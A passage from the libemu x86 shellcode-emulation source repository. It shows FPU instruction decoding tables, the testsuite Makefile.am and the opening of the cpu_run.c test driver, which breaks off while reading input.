AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FADDP,  \"faddp\",     AM_REG|REG_ST1|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FADDP,  \"faddp\",     AM_REG|REG_ST2|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FADDP,  \"faddp\",     AM_REG|REG_ST3|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FADDP,  \"faddp\",     AM_REG|REG_ST4|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FADDP,  \"faddp\",     AM_REG|REG_ST5|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FADDP,  \"faddp\",     AM_REG|REG_ST6|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FADDP,  \"faddp\",     AM_REG|REG_ST7|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FMULP,  \"fmulp\",     AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FMULP,  \"fmulp\",     AM_REG|REG_ST1|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FMULP,  \"fmulp\",     AM_REG|REG_ST2|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FMULP,  \"fmulp\",     AM_REG|REG_ST3|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FMULP,  \"fmulp\",     AM_REG|REG_ST4|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FMULP,  \"fmulp\",     AM_REG|REG_ST5|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FMULP,  \"fmulp\",     AM_REG|REG_ST6|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FMULP,  \"fmulp\",     AM_REG|REG_ST7|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FCOMPP, \"fcompp\",    FLAGS_NONE|P_w,              FLAGS_NONE|P_r,            FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FSUBRP, \"fsubrp\",    AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FSUBRP, \"fsubrp\",    AM_REG|REG_ST1|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FSUBRP, \"fsubrp\",    AM_REG|REG_ST2|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FSUBRP, \"fsubrp\",    AM_REG|REG_ST3|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FSUBRP, \"fsubrp\",    AM_REG|REG_ST4|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FSUBRP, \"fsubrp\",    AM_REG|REG_ST5|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FSUBRP, \"fsubrp\",    AM_REG|REG_ST6|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FSUBRP, \"fsubrp\",    AM_REG|REG_ST7|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FSUBP,  \"fsubp\",     AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FSUBP,  \"fsubp\",     AM_REG|REG_ST1|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FSUBP,  \"fsubp\",     AM_REG|REG_ST2|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FSUBP,  \"fsubp\",     AM_REG|REG_ST3|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FSUBP,  \"fsubp\",     AM_REG|REG_ST4|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FSUBP,  \"fsubp\",     AM_REG|REG_ST5|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FSUBP,  \"fsubp\",     AM_REG|REG_ST6|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FSUBP,  \"fsubp\",     AM_REG|REG_ST7|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FDIVRP, \"fdivrp\",    AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FDIVRP, \"fdivrp\",    AM_REG|REG_ST1|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FDIVRP, \"fdivrp\",    AM_REG|REG_ST2|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FDIVRP, \"fdivrp\",    AM_REG|REG_ST3|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FDIVRP, \"fdivrp\",    AM_REG|REG_ST4|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FDIVRP, \"fdivrp\",    AM_REG|REG_ST5|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FDIVRP, \"fdivrp\",    AM_REG|REG_ST6|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FDIVRP, \"fdivrp\",    AM_REG|REG_ST7|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FDIVP,  \"fdivp\",     AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FDIVP,  \"fdivp\",     AM_REG|REG_ST1|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FDIVP,  \"fdivp\",     AM_REG|REG_ST2|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FDIVP,  \"fdivp\",     AM_REG|REG_ST3|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FDIVP,  \"fdivp\",     AM_REG|REG_ST4|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FDIVP,  \"fdivp\",     AM_REG|REG_ST5|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FDIVP,  \"fdivp\",     AM_REG|REG_ST6|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FDIVP,  \"fdivp\",     AM_REG|REG_ST7|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n};\n\nINST inst_table_fpu_df[72] = {\n\t{ INSTRUCTION_TYPE_FILD,   \"fild\",      AM_E|OT_w|P_w,               FLAGS_NONE,                FLAGS_NONE,   1 },\n\t// fisttp: IA-32 2004\n\t{ INSTRUCTION_TYPE_FISTTP, \"fisttp\",    AM_E|OT_w|P_w,               FLAGS_NONE,                FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_FIST,   \"fist\",      AM_E|OT_w|P_w,               FLAGS_NONE,                FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_FISTP,  \"fistp\",     AM_E|OT_w|P_w,               FLAGS_NONE,                FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_FPU,    \"fbld\",      AM_E|OT_t|P_w,               FLAGS_NONE,                FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_FILD,   \"fild\",      AM_E|OT_t|P_w,               FLAGS_NONE,                FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_FPU,    \"fbstp\",     AM_E|OT_t|P_w,               FLAGS_NONE,                FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_FISTP,  \"fistp\",     AM_E|OT_t|P_w,               FLAGS_NONE,                FLAGS_NONE,   1 },\n\t// ffreep undocumented!!\n\t{ INSTRUCTION_TYPE_FFREEP, \"ffreep\",    AM_REG|REG_ST0|F_f|P_w,      FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FFREEP, \"ffreep\",    AM_REG|REG_ST1|F_f|P_w,      FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FFREEP, \"ffreep\",    AM_REG|REG_ST2|F_f|P_w,      FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FFREEP, \"ffreep\",    AM_REG|REG_ST3|F_f|P_w,      FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FFREEP, \"ffreep\",    AM_REG|REG_ST4|F_f|P_w,      FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FFREEP, \"ffreep\",    AM_REG|REG_ST5|F_f|P_w,      FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FFREEP, \"ffreep\",    AM_REG|REG_ST6|F_f|P_w,      FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FFREEP, \"ffreep\",    AM_REG|REG_ST7|F_f|P_w,      FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    \"fstsw\",     FLAGS_NONE|P_w,              FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FUCOMIP,\"fucomip\",   AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FUCOMIP,\"fucomip\",   AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST1|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FUCOMIP,\"fucomip\",   AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST2|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FUCOMIP,\"fucomip\",   AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST3|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FUCOMIP,\"fucomip\",   AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST4|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FUCOMIP,\"fucomip\",   AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST5|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FUCOMIP,\"fucomip\",   AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST6|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FUCOMIP,\"fucomip\",   AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST7|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCOMIP, \"fcomip\",    AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCOMIP, \"fcomip\",    AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST1|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCOMIP, \"fcomip\",    AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST2|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCOMIP, \"fcomip\",    AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST3|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCOMIP, \"fcomip\",    AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST4|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCOMIP, \"fcomip\",    AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST5|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCOMIP, \"fcomip\",    AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST6|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCOMIP, \"fcomip\",    AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST7|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n};\n\n// Table of FPU instruction tables\n\n/*\n * These tables are accessed by the following way:\n *\n * INST *fpuinst = inst_table4[opcode - 0xd8][index];\n * where index is determined by the MODRM byte.\n *\n */\nINST * inst_table4[8] = {\n\tinst_table_fpu_d8,\n\tinst_table_fpu_d9,\n\tinst_table_fpu_da,\n\tinst_table_fpu_db,\n\tinst_table_fpu_dc,\n\tinst_table_fpu_dd,\n\tinst_table_fpu_de,\n\tinst_table_fpu_df,\n};\n\n"
  },
  {
    "path": "testsuite/Makefile.am",
    "content": "AUTOMAKE_OPTIONS = foreign\n\nAM_CPPFLAGS = -I../include -I ../.. -Werror -Wall -g\nAM_LDFLAGS = -lemu -L../src \n\nbin_PROGRAMS = scprofiler\nnoinst_PROGRAMS = testsuite cpurun instrtest instrtree hashtest memtest \n\ntestsuite_LDADD = ../src/libemu.la\n\ntestsuite_SOURCES = main.c\n\ncpurun_LDADD = ../src/libemu.la\ncpurun_SOURCES = cpu_run.c\n\ninstrtest_LDADD = ../src/libemu.la\ninstrtest_SOURCES = instrtest.c\n\n#instrtree_LDADD = ../src/libemu.la\ninstrtree_SOURCES = instrtree.c\n\nhashtest_LDADD = ../src/libemu.la\nhashtest_SOURCES = hashtest.c\n\nmemtest_LDADD = ../src/libemu.la\nmemtest_SOURCES = memtest.c\n\nscprofiler_LDADD = ../src/libemu.la\nscprofiler_SOURCES = scprofiler.c\n\nEXTRA_DIST = emunids.c\n"
  },
  {
    "path": "testsuite/cpu_run.c",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <errno.h>\n#include <sys/select.h>\n#include <unistd.h>\n#include <stdint.h>\n\n#ifndef _GNU_SOURCE\n#define _GNU_SOURCE\n#endif\n#include <getopt.h>\n\n\n#include \"emu/emu.h\"\n#include \"emu/emu_memory.h\"\n#include \"emu/emu_cpu.h\"\n#include \"emu/emu_log.h\"\n\nstatic const char *regm[] = {\n\t\"eax\", \"ecx\", \"edx\", \"ebx\", \"esp\", \"ebp\", \"esi\", \"edi\"\n};\n\nstruct run_options\n{\n\tuint8_t single_step;\n\tuint8_t append_no_break;\n\tuint8_t from_stdin;\n\n\tuint32_t regs[8];\n};\n\nint main(int argc, char *argv[])\n{\n\n\tstruct run_options opt;\n\tmemset(&opt, 0, sizeof(struct run_options));\n\n\tint c;\n\tint i;\n//\tint digit_optind = 0;\n\n\twhile ( 1 )\n\t{\n//\t\tint this_option_optind = optind ? optind : 1;\n\t\tint option_index = 0;\n\t\tstatic struct option long_options[] = {\n\t\t\t{\"append-no-break\"\t, 0, 0, 'a'},\n\t\t\t{\"single-step\"\t\t, 0, 0, 's'},\n\t\t\t{\"eax\"\t\t\t\t, 1, 0, 'A'},\n\t\t\t{\"ebx\"\t\t\t\t, 1, 0, 'B'},\n\t\t\t{\"ecx\"\t\t\t\t, 1, 0, 'C'},\n\t\t\t{\"edx\"\t\t\t\t, 1, 0, 'D'}, \n\t\t\t{\"edi\"\t\t\t\t, 1, 0, 'I'},\n\t\t\t{\"ebp\"\t\t\t\t, 1, 0, 'P'},\n\t\t\t{\"esi\"\t\t\t\t, 1, 0, 'X'},\n\t\t\t{\"esp\"\t\t\t\t, 1, 0, 'Y'},\n\t\t\t{\"stdin\"\t\t\t, 0, 0, 'S'},\n\t\t\t{0, 0, 0, 0}\n\t\t};\n\n\t\tc = getopt_long (argc, argv, \"asSA:B:C:D:I:P:X:Y:\", long_options, &option_index);\n\t\tif ( c == -1 )\n\t\t\tbreak;\n\n\t\tswitch ( c )\n\t\t{\n\t\tcase 'a':\n\t\t\topt.append_no_break = 1;\n\t\t\tprintf(\"won't append break\\n\");\n\t\t\tbreak;\n\n\t\tcase 's':\n\t\t\topt.single_step = 1;\n\t\t\tprintf(\"single step\\n\");\n\t\t\tbreak;\n\n\t\tcase 'S':\n\t\t\topt.from_stdin = 1;\n\t\t\tprintf(\"reading from stdin\\n\");\n\t\t\tbreak;\n\n\t\tcase 'A': // eax\n\t\t\tif ( strncmp(optarg,\"0x\", 2) == 0 )\n\t\t\t\topt.regs[eax] = strtoul(optarg+2, NULL, 16);\n\t\t\telse\n\t\t\t\topt.regs[eax] = strtoul(optarg, NULL, 10);\n\n\t\t\tbreak;\n\n\t\tcase 'B': // ebx\n\t\t\tif ( strncmp(optarg,\"0x\", 2) == 0 )\n\t\t\t\topt.regs[ebx] = strtoul(optarg+2, NULL, 16);\n\t\t\telse\n\t\t\t\topt.regs[ebx]\t= strtoul(optarg, NULL, 10);\n\t\t\tbreak;\n\n\t\tcase 'C': // ecx\n\t\t\tif ( strncmp(optarg,\"0x\", 2) == 0 )\n\t\t\t\topt.regs[ecx] = strtoul(optarg+2, NULL, 16);\n\t\t\telse\n\t\t\t\topt.regs[ecx]\t= strtoul(optarg, NULL, 10);\n\t\t\tbreak;\n\n\t\tcase 'D': // edx\n\t\t\tif ( strncmp(optarg,\"0x\", 2) == 0 )\n\t\t\t\topt.regs[edx] = strtoul(optarg+2, NULL, 16);\n\t\t\telse\n\t\t\t\topt.regs[edx]\t= strtoul(optarg, NULL, 10);\n\t\t\tbreak;\n\n\t\tcase 'I': // edi\n\t\t\tif ( strncmp(optarg,\"0x\", 2) == 0 )\n\t\t\t\topt.regs[edi] = strtoul(optarg+2, NULL, 16);\n\t\t\telse\n\t\t\t\topt.regs[edi]\t= strtoul(optarg, NULL, 10);\n\t\t\tbreak;\n\n\t\tcase 'P': // ebp\n\t\t\tif ( strncmp(optarg,\"0x\", 2) == 0 )\n\t\t\t\topt.regs[ebp] = strtoul(optarg+2, NULL, 16);\n\t\t\telse\n\t\t\t\topt.regs[ebp]\t= strtoul(optarg, NULL, 10);\n\t\t\tbreak;\n\n\t\tcase 'X': // esi\n\t\t\tif ( strncmp(optarg,\"0x\", 2) == 0 )\n\t\t\t\topt.regs[esi] = strtoul(optarg+2, NULL, 16);\n\t\t\telse\n\t\t\t\topt.regs[esi]\t= strtoul(optarg, NULL, 10);\n\t\t\tbreak;\n\n\t\tcase 'Y': // esp\n\t\t\tif (strncmp(optarg,\"0x\", 2) == 0)\n\t\t\t\topt.regs[esp] = strtoul(optarg+2, NULL, 16);\n\t\t\telse\n\t\t\t\topt.regs[esp] = strtoul(optarg, NULL, 10);\n\t\t\tbreak;\n\n\t\tdefault:\n\t\t\tprintf (\"?? getopt returned character code 0%o ??\\n\", c);\n\t\t\tbreak;\n\t\t}\n\t}\n\n/*\n\tif ( optind < argc )\n\t{\n\t\tprintf (\"non-option ARGV-elements: \");\n\t\twhile ( optind < argc )\n\t\t\tprintf (\"%s \", argv[optind++]);\n\t\tprintf (\"\\n\");\n\t}\n*/\n\tfor ( i=0;i<8;i++ )\n\t{\n\t\tprintf(\"%s is %08x\\n\", regm[i],(unsigned int)opt.regs[i]);\n\t}\n\n\n\n\n\tunsigned char *scode=NULL;\n\tuint32_t size;\n\n\tif ( opt.from_stdin )\n\t{\n\t\tunsigned 